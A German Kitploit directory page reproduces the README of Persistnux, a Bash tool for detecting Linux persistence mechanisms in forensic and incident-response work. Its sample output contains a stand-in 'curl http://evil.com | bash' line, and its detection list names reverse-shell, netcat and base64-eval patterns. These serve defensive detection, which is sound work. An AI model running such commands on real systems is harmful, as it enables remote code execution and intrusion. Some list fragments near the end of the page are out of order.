Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Persistnux — Bash-basiertes Linux-Persistenzerkennungstool für DFIR-Untersuchungen. Scannt 15+ Persistenzmechanismen (systemd, cron, Kernel-Module, SSH, Container) mit Konfidenz-Bewertung und erstellt CSV-/JSONL-Berichte für die forensische Analyse. | Kitploit
Tools/GitHubGitHub/go-lanz/persistnux
Privilege EscalationPersistenzmechanismenSchwachstellenanalyseForensikMalware-AnalyseDigitale ForensikLernen & BildungIncident ResponseContainer-AusbruchLabs & Praxis
GitHubgo-lanz/persistnux

Persistnux

3vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Bash-basiertes Linux-Persistenzerkennungstool für DFIR-Untersuchungen. Scannt 15+ Persistenzmechanismen (systemd, cron, Kernel-Module, SSH, Container) mit Konfidenz-Bewertung und erstellt CSV-/JSONL-Berichte für die forensische Analyse.

Repository anzeigen

Persistnux

Ein umfassendes Tool zur Erkennung von Linux-Persistenzmechanismen für Digital Forensics und Incident Response (DFIR)-Untersuchungen.

Übersicht

Persistnux ist ein Bash-basiertes Tool, das darauf ausgelegt ist, bekannte Linux-Persistenzmechanismen zu identifizieren, die von Angreifern genutzt werden, um den Zugriff auf kompromittierte Systeme aufrechtzuerhalten. Es führt umfassende Prüfungen im gesamten System durch und erstellt detaillierte Berichte im CSV- und JSONL-Format für die weitere Analyse.

Funktionen

  • Umfassende Erkennung: Deckt alle wichtigen Linux-Persistenzmechanismen ab
  • Live-Analyse: Läuft direkt auf Live-Systemen mit minimalen Abhängigkeiten
  • Detaillierte Ausgabe: Erzeugt CSV- und JSONL-Berichte mit Datei-Hashes, Metadaten und Konfidenzwerten
  • Root und Non-Root: Funktioniert mit oder ohne Root-Rechte (mit eingeschränktem Umfang für Nicht-Root)
  • DFIR-bereit: Ausgabeformate kompatibel mit gängigen DFIR-Tools und Arbeitsabläufen
  • Verdachtsscore: Automatische Konfidenzbewertung (NIEDRIG, MITTEL, HOCH, KRITISCH) basierend auf Indikatoren
  • False-Positive-Reduzierung: Integration des Paketmanagers und Whitelisting bekannter, gutartiger Dienste
  • Zeitbasierte Analyse: Kürzlich geänderte Dateien erhalten höhere Konfidenzwerte
  • Mustererkennung: Erkennt Reverse Shells, Download-und-Ausführen-Muster, Verschleierungstechniken

Erkannte Persistenzmechanismen

1. Systemd-Dienste

  • Servicedateien (.service) in /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system
  • Benutzerebene-Systemd-Dienste
  • Filtert deaktivierte Dienste und Dienste ohne ExecStart heraus
  • Erkennt verdächtige ExecStart-Befehle
  • Überprüft die Paketintegrität ausgeführter Binärdateien/Skripte

2. Cron-Jobs & geplante Aufgaben

  • System-Crontabs (/etc/crontab, /etc/cron.d/*)
  • Periodische Ausführungsverzeichnisse (/etc/cron.{daily,hourly,weekly,monthly})
  • Benutzer-Crontabs für alle Benutzer (Root-Modus)
  • At-Jobs
  • Verdächtige Befehlsmuster in geplanten Aufgaben
  • /etc/cron.allow und /etc/cron.deny ACL-Dateien – Einträge, die auf nicht existierende Benutzer verweisen, werden markiert

3. Shell-Profile & RC-Dateien

  • Systemweite Profile (/etc/profile, /etc/bash.bashrc, /etc/zshrc)
  • Profile.d-Skripte (/etc/profile.d/*)
  • Benutzerprofile (.bashrc, .bash_profile, .zshrc, .profile usw.)
  • Fish-Shell-Konfigurationen
  • Erkennt bösartige Befehle in Profildateien

4. Init-Skripte & RC.local

  • /etc/rc.local und Varianten
  • SysV-Init-Skripte (/etc/init.d)
  • Runlevel-Skripte (/etc/rc*.d)
  • Erkennt verdächtige Download/Ausführungsbefehle

5. Kernelmodule & Library Preloading

  • LD_PRELOAD-Konfigurationen (/etc/ld.so.preload) – jede aufgeführte Bibliothek wird über den Paketmanager verifiziert
  • Dynamische Linker-Konfigurationen (/etc/ld.so.conf, /etc/ld.so.conf.d/) – Konfigurationsdateiintegrität + nicht standardmäßige Pfad-.so-Dateien werden gescannt und verifiziert
  • /etc/environment LD_PRELOAD/LD_LIBRARY_PATH – Umgebungsdatei wird als HOCH markiert; referenzierte Bibliothekspfade werden verifiziert (unverwaltet/modifiziert → KRITISCH)
  • Kernelmodul-Parameter (/etc/modprobe.d/, /etc/modprobe.conf) – Dateiintegrität; install-Direktiven werden auf verdächtige Befehlsziele analysiert; blacklist von Sicherheitsmodulen (AppArmor, SELinux, seccomp) wird als HOCH markiert
  • Kernelmodul-Autoload-Konfigurationen (/etc/modules, /etc/modules-load.d/) – Konfigurationsintegrität; referenzierte Modulnamen werden über modinfo zu -Dateien aufgelöst und verifiziert

6. Zusätzliche Mechanismen

  • XDG-Autostart-Einträge (.config/autostart, /etc/xdg/autostart) – alle Benutzerverzeichnisse werden im Root-Modus gescannt
  • System-Umgebungsdateien (/etc/environment) – LD_PRELOAD/LD_LIBRARY_PATH-Bibliothekspfade werden verifiziert
  • Sudoers-Konfigurationen und Drop-Ins (/etc/sudoers, /etc/sudoers.d/) – NOPASSWD/ALL-Muster → HOCH
  • PAM (Pluggable Authentication Modules):
    • Alle .so-Module werden über den Paketmanager verifiziert; @include-Direktiven werden verfolgt; /etc/pam.conf wird einbezogen
    • pam_exec.so-Skriptanalyse – fehlende/verdächtige Skripte → KRITISCH
    • pam_python.so / pam_perl.so-Relay-Erkennung – Skript wird extrahiert und analysiert
    • pam_script.so-Hook-Dateierkennung in

8. SSH-Persistenz

  • Benutzerspezifische ~/.ssh/authorized_keys – kürzlich geänderte Schlüssel werden markiert; Inhalt der command=-Option auf verdächtige Muster analysiert
  • Benutzerspezifische ~/.ssh/rc – Vorhandensein wird als MITTEL markiert; verdächtiger/Reverse-Shell-Inhalt → HOCH/KRITISCH

9. Binary Hijacking

  • Überprüft installierte System-Binärdateien gegen die Paketdatenbank (dpkg -V auf Debian/Ubuntu, rpm -Va auf RHEL/CentOS)
  • Modifizierte Dateien in /usr/bin, /usr/sbin, /bin, /sbin → KRITISCHER Fund
  • Modifizierte PAM-Module in /lib/security → KRITISCHER Fund
  • Conffiles (dpkg-Konfigurationsdateien) werden ausgeschlossen, um False Positives zu vermeiden

10. Bootloader & Initramfs

  • GRUB init= Kernel-Parameter-Injection (/etc/default/grub, /etc/default/grub.d/*.cfg)
  • Root-Level abgelegte Init-Skripte unter /
  • Dracut-Initramfs-Module mit pre-pivot-Hooks, die in /sysroot/etc/shadow schreiben
  • Ubuntu Initramfs-Tools-Hook-Skripte in /etc/initramfs-tools/scripts/ und /hooks/
  • Kürzlich modifizierte /boot/initrd.img-*-Images (mtime-basiert)

11. Polkit (PolicyKit)-Manipulation

  • .pkla-Dateien mit bedingungslosen ResultAny/ResultInactive/ResultActive=yes
  • Wildcard-Identität (unix-user:*)-Gewährungen
  • .rules-Dateien mit bedingungslosem polkit.Result.YES (JavaScript-basiertes Polkit >= 0.106)

12. D-Bus & NetworkManager

  • Bösartige D-Bus-Systemdienst-Exec=-Registrierung (/usr/share/dbus-1/system-services/)
  • D-Bus-Richtlinien-Wildcard allow own="*" oder send_destination="*"-Direktiven
  • NetworkManager-Dispatcher-Skripte (/etc/NetworkManager/dispatcher.d/)

13. Udev-Regeln

  • Udev RUN+=-Direktiven, die beliebige Befehle oder Skripte ausführen (/etc/udev/rules.d/, /lib/udev/rules.d/)
  • Zur Laufzeit injizierte Regeln in /run/udev/rules.d/
  • at/cron-Delegierungsmuster in RUN+= (häufige Umgehung von Vordergrundbeschränkungen)

14. Container Escape

  • Privilegierte Docker-Container (--privileged, --pid=host)
  • docker.sock-Bind-Mounts in Container (vollständige Host-Kontrolle über Docker-API)
  • nsenter -t 1 in Container-Entrypoints oder Dockerfiles
  • Dockerfiles in benutzerbeschreibbaren Verzeichnissen, die Escape-Techniken enthalten

15. Erweiterte Binär- & Privilegienprüfungen

  • Aktiver SUID/SGID-Dateisystem-Scan über Systemverzeichnisse hinweg
  • Dateifähigkeits-Scan über getcap – cap_setuid+ep auf GTFOBins → KRITISCH
  • Binary Hijacking: umbenannte Originale (.original, .old, .bak, .real) mit Wrapper-Skripten
  • Nicht-Root-Konten mit UID 0 in /etc/passwd
  • Shell-Verschleierung durch nachgestellte Leerzeichen im Shell-Feld von /etc/passwd
  • Systemkonten (UID 1-999) mit SSH authorized_keys-Dateien

Installation

root@kitploit:~
# Repository klonen
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# Skript ausführbar machen
chmod +x persistnux.sh

Verwendung

Grundlegende Verwendung (Live-Analyse)

root@kitploit:~
# Mit Standardeinstellungen ausführen (zeigt nur verdächtige Funde)
sudo ./persistnux.sh

# Hilfe und alle Optionen anzeigen
./persistnux.sh --help

# Als normaler Benutzer ausführen (eingeschränkter Umfang)
./persistnux.sh

Filteroptionen (v2.4+)

Standardmäßig zeigt Persistnux nur verdächtige Funde (MITTEL, HOCH, KRITISCH-Konfidenz) an, um Rauschen zu reduzieren und sich auf umsetzbare Bedrohungen zu konzentrieren.

root@kitploit:~
# Standard: Nur verdächtige Funde anzeigen
sudo ./persistnux.sh

# Alle Funde einschließlich Baseline (NIEDRIG-Konfidenz) anzeigen
sudo ./persistnux.sh --all
# ODER
sudo FILTER_MODE=all ./persistnux.sh

# Nur Funde mit HOHEM und KRITISCHEM Konfidenzlevel anzeigen
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# Filter kombinieren: Nur HOHE Konfidenz
sudo ./persistnux.sh --min-confidence HIGH

Benutzerdefiniertes Ausgabeverzeichnis

root@kitploit:~
# Benutzerdefiniertes Ausgabeverzeichnis angeben
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# Mit Filterung kombinieren
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh

Ausgabedateien

Standardmäßig erstellt Persistnux ein Ausgabeverzeichnis ./persistnux_output/, das Folgendes enthält:

  • persistnux_<hostname>_<timestamp>.csv – Bericht im CSV-Format
  • persistnux_<hostname>_<timestamp>.jsonl – Bericht im JSONL-Format (ein JSON-Objekt pro Zeile)
  • persistnux_<hostname>_<timestamp>_report.txt – Menschenlesbarer Zusammenfassungsbericht mit Fundanzahlen und Scan-Metadaten

Ausgabeformat

CSV-Format

root@kitploit:~
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"

JSONL-Format

root@kitploit:~
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}

Wichtige Ausgabefelder

  • matched_pattern: Das Erkennungsmuster, das den Fund ausgelöst hat (z. B. suspicious_script_content, modified_package, unmanaged_binary)
  • matched_string: Der tatsächliche verdächtige Inhalt, der gefunden wurde (vollständige Zeile, nicht nur Schlüsselwort)

Konfidenzbewertung

Persistnux verwendet eine intelligente Konfidenzbewertung, um False Positives zu reduzieren:

  • NIEDRIG: Standard-Systemkonfiguration, geringer Verdacht (oft paketverwaltete Dateien)
  • MITTEL: Potenziell verdächtig, aber könnte legitim sein
  • HOCH: Verdächtige Muster erkannt (z. B. curl/wget in Cron, /tmp-Ausführung, Reverse Shells)
  • KRITISCH: Eindeutiger Nachweis von Manipulation – fehlgeschlagene Paketintegritätsprüfung, SUID/SGID auf einer verdächtigen Datei, PAM-Modul-Anomalie, systemd-Generator an einem flüchtigen Ort oder Inline-Interpreter-Code mit hoher Entropie

False-Positive-Reduzierung (v1.2+)

Persistnux enthält jetzt mehrere Funktionen zur False-Positive-Reduzierung:

  1. Paketmanager-Integration: Dateien, die von dpkg (Debian/Ubuntu) oder rpm (RedHat/CentOS) verwaltet werden, erhalten niedrigere Konfidenzwerte
  2. Whitelist bekannter, gutartiger Dienste: Übliche Vendor-Dienste (systemd-, dbus-, snap.* usw.) werden automatisch übersprungen
  3. Zeitbasierte Bewertung: Kürzlich geänderte Dateien (<7 Tage) erhalten höhere Konfidenzwerte
  4. Kontextbewusste Analyse: Kombiniert mehrere Indikatoren für eine genauere Erkennung

Verdächtige Indikatoren

Persistnux markiert Elemente automatisch mit höherer Konfidenz, wenn es Folgendes erkennt:

Netzwerkbasierte Muster

  • Reverse Shells: bash -i >& /dev/tcp/, sh -i >& /dev/udp/
  • Netzwerktools: nc, netcat, socat, telnet
  • Socket-Operationen in Skriptsprachen: python -c 'import socket'

Download- und Ausführungsmuster

  • Download-Tools: curl | bash, wget | sh
  • Download mit Ausführung: curl URL -o /tmp/file && chmod +x

Verschleierungstechniken

  • Kodierung: base64 -d | bash, eval $(echo BASE64)
  • Dynamische Ausführung: eval, exec

Verdächtige Speicherorte

  • Temporäre Verzeichnisse: /tmp, /dev/shm, /var/tmp
  • Versteckte Verzeichnisse und Dateien

Berechtigungsmanipulation

  • Dateien ausführbar machen: chmod +x, chmod 777
  • SUID-Bit-Manipulation: chmod u+s

Anforderungen

  • Bash 4.0+
  • Standard-Unix-Dienstprogramme: find, grep, stat, sha256sum, awk, file
  • Optional: systemctl, lsmod, modinfo, getcap, dpkg/rpm (für bestimmte Prüfungen)
  • Keine Interpreter-Abhängigkeit (reines Bash + coreutils; kein python/jq erforderlich)
  • Root-/sudo-Zugriff empfohlen für eine umfassende Analyse

Getestet auf / Kompatibilität

Hinweis: Das Tool wird hauptsächlich auf Ubuntu/Debian-Systemen getestet. Bei RedHat, Fedora und RPM-basierten Distributionen ist die Paketmanager-Unterstützung im Code implementiert, wurde aber in Live-Testumgebungen nicht validiert. Beiträge und Testergebnisse für RPM-basierte Distributionen sind willkommen.

Testen / Benchmark

Persistnux wird gegen PANIX gebenchmarkt, das dieselben Persistenzmechanismen installiert, die Persistnux jagt. Der wiederholbare Testrahmen unter tests/panix_benchmark.sh wendet jede PANIX-Technik an, führt Persistnux aus und bestätigt die Erkennung über einen Basislinien-Diff. Jede dateibasierte PANIX-Technik, die auf dem Testsystem anwendbar ist, wird mit MITTEL+ Konfidenz erkannt. Siehe PANIX_BENCHMARK.md für die vollständige Abdeckungstabelle und Methodik.

⚠️ Der Benchmark installiert echte Hintertüren – nur in einer Einweg-VM ausführen.

Roadmap

  • Offline-Analysemodus für forensische Festplatten-Images
  • Integration der UAC (Unix-like Artifacts Collector)-Sammlung
  • Erweiterung des PANIX-Benchmarks auf Bootloader/Initramfs/LKM-Vektoren auf einer vollständigen VM

Ressourcen

https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX

Mitwirken

Beiträge sind willkommen! Bitte reichen Sie Pull-Requests ein oder eröffnen Sie Issues für:

  • Erkennung neuer Persistenzmechanismen
  • Fehlerbehebungen
  • Verbesserungen der Dokumentation
  • Leistungsoptimierungen
  • Zusätzliche Ausgabeformate

Lizenz

MIT-Lizenz – Siehe LICENSE-Datei für Details

Danksagungen

Entwickelt für die DFIR-Community zur Unterstützung bei der Linux-Vorfallreaktion und forensischen Untersuchungen.

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests, Incident Response und forensische Analysen bestimmt. Die Benutzer sind dafür verantwortlich, sicherzustellen, dass sie die entsprechende Autorisierung haben, bevor sie dieses Tool auf einem System ausführen.

Kontakt

Bei Fragen, Problemen oder Beiträgen nutzen Sie bitte den GitHub Issue-Tracker.

Tool herunterladen
.ko
  • Geladene Kernelmodule (lsmod) – Aufzählung und Integritätsprüfung
  • /etc/security/
  • Konfigurationsdateienintegrität – modifizierte paketbesitzende PAM-Konfigurationen → KRITISCH
  • pam_env.conf und ~/.pam_environment LD_PRELOAD-Bibliotheksverifizierung
  • /etc/security/ allgemeiner Scan
  • MOTD-Skripte (/etc/update-motd.d/) – Paketüberprüfung; modifiziert → KRITISCH
  • Git-Credential-Helper und core.pager-Einstellungen – Inhaltsanalyse für alle Benutzer
  • Web-Shells in gängigen Web-Verzeichnissen
  • DistributionStatusHinweise
    Ubuntu 22.04 LTS✅ GetestetPrimäre Entwicklungs- und Testplattform
    Ubuntu 20.04 LTS✅ GetestetVollständig unterstützt
    Debian 11/12✅ Getestetdpkg-basiert, gleiche Pfadkonventionen
    Kali Linux (rolling)✅ GetestetFür den PANIX-Erkennungsbenchmark verwendet (siehe unten)
    RedHat / RHEL⚠️ Noch nicht getestetrpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt
    Fedora⚠️ Noch nicht getestetrpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt
    CentOS / AlmaLinux / Rocky⚠️ Noch nicht getestetrpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt